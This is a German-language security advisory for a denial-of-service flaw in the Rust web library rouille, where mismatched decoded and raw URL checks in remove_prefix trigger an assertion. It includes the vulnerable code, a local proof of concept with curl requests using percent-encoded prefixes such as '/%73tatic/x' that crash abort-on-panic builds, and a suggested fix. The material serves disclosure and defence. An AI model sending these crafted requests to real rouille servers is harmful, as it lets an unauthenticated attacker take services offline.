
Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)
Zugewiesene CVE-ID: CVE-2026-66754
Request::remove_prefix testet die prozent-dekodierte URL, führt die Assertion jedoch auf der rohen URL aus. Eine Anfrage, deren dekodierter Pfad mit dem Präfix beginnt, während der rohe Pfad dies nicht tut, besteht den Test und lässt die Assertion fehlschlagen. Das Prozent-Kodieren eines einzelnen Zeichens des Präfixes genügt.
Bei einem Standard-Build wird der Panic abgefangen und zu einer 500. Bei einem Build mit panic = "abort" gibt es nichts, das ihn abfangen könnte, und ein einziger nicht authentifizierter GET beendet den Serverprozess.
Repo-URL: https://github.com/tomaka/rouille
| Erstmals betroffen | 0.1.6 (2016-09-22), die Version, die remove_prefix einführte |
| Zuletzt betroffen | 3.6.2 (2023-04-24), die aktuelle Version |
| Nicht betroffen | 0.1.5 und früher, die kein remove_prefix haben |
| Behoben in | zum Zeitpunkt des Schreibens keine behobene Version |
Die Funktion ist in allen Versionen dieses Bereichs und im aktuellen master unverändert. Anwendungen sind betroffen, wenn sie Request::remove_prefix aufrufen, was das Muster ist, das rouille für das Ausliefern statischer Dateien unter einem URL-Präfix dokumentiert (src/assets.rs Zeilen 66 bis 75 und src/lib.rs Zeilen 804 bis 811).
CWE-617 (Erreichbare Assertion), die zu CWE-248 (Nicht abgefangene Ausnahme) führt.
CVSS-4.0-Basiswert 8.2 (Hoch)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Ein entfernter, nicht authentifizierter Client, der eine einzige GET-Anfrage senden kann. Keine Anmeldedaten und keine Benutzerinteraktion.
panic = "abort" ist nicht Cargos Standard, aber es ist eine häufige Wahl für Release-Profile, um kleinere Binärdateien und geringeren Overhead zu erreichen. rouille hängt für die Verfügbarkeit von Unwinding ab, da Server::process sich bei src/lib.rs Zeile 602 auf panic::catch_unwind verlässt, um Handler-Panics in eine 500 umzuwandeln. Diese Abhängigkeit ist nicht dokumentiert.
rouille/src/lib.rs, Zeilen 813 bis 822:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
Zeile 814 ruft self.url() auf, das Prozent-Dekodierung durchführt. Zeile 819 führt die Assertion auf self.url aus, dem rohen Feld, und Zeile 822 schneidet genau dieses rohe Feld. Die beiden Darstellungen weichen immer dann voneinander ab, wenn der Pfad innerhalb des Präfixes eine Prozent-Escape-Sequenz enthält:
Dieselbe Abweichung bedeutet auch, dass remove_prefix einen legitim prozent-kodierten Pfad niemals weiterleitet, sodass der Korrektheitsfehler und der Verfügbarkeitsfehler denselben Fix teilen.
Schritt 1. Starten Sie einen Server mit dem dokumentierten Präfix-Idiom.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
Schritt 2. Senden Sie eine gutartige Anfrage und eine äquivalente Anfrage, in der s prozent-kodiert ist. --path-as-is verhindert, dass curl den Pfad normalisiert.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Ergebnis bei einem Standard-Build. Der erste Wert ist eine normale 404 für eine fehlende Datei, der zweite ist ein Panic, der in eine 500 umgewandelt wird:
404
500
mit dieser Ausgabe auf stderr:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
Schritt 3. Bauen Sie dasselbe Programm mit Abbruch-bei-Panic neu und wiederholen Sie die zweite Anfrage.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Ergebnis. Der Prozess endet mit SIGABRT (Exit-Code 134) und der Server antwortet nicht mehr. Eine Anfrage, keine Authentifizierung, vollständiger Verlust der Verfügbarkeit.
Bei Builds mit panic = "abort" stoppt eine einzige nicht authentifizierte Anfrage den Server. Bei Standard-Builds liefern Anfragen, deren Pfad eine Prozent-Escape-Sequenz innerhalb des Präfixes enthält, eine 500 zurück, anstatt bedient zu werden, sodass das Routing auch für legitime Clients falsch ist.
Beachten Sie, dass der Panic den Mutex nicht vergiften kann, den Server::process außerhalb von catch_unwind bei src/lib.rs Zeilen 643 und 649 entpackt, da remove_prefix nur den Arc klont und niemals einen Guard hält. Bei Unwinding-Builds erholt sich der Worker-Thread sauber.
Führen Sie den Vergleich und das Schneiden auf derselben Darstellung aus. Die einfachste korrekte Version vergleicht und schneidet die rohe URL:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
Falls das Verhalten mit dekodiertem Vergleich beabsichtigt ist, dekodieren Sie die URL einmal, entfernen Sie das Präfix aus der dekodierten Zeichenkette und kodieren Sie den Rest erneut, anstatt das rohe Feld zu schneiden.
In jedem Fall sollte die assert!-Anweisung entfernt werden. Eine Bibliothek sollte den Prozess nicht aufgrund von Angreifer-kontrollierter Eingabe abbrechen. Es würde auch helfen, zu dokumentieren, dass rouille panic = "unwind" erfordert, oder die Abhängigkeit von catch_unwind für die Korrektheit zu entfernen.
| Rohe URL | url() dekodiert | Zeile 814 | Zeile 819 |
|---|
/static/x | /static/x | besteht | besteht |
/%73tatic/x | /static/x | besteht | schlägt fehl |
/stati%63/x | /static/x | besteht | schlägt fehl |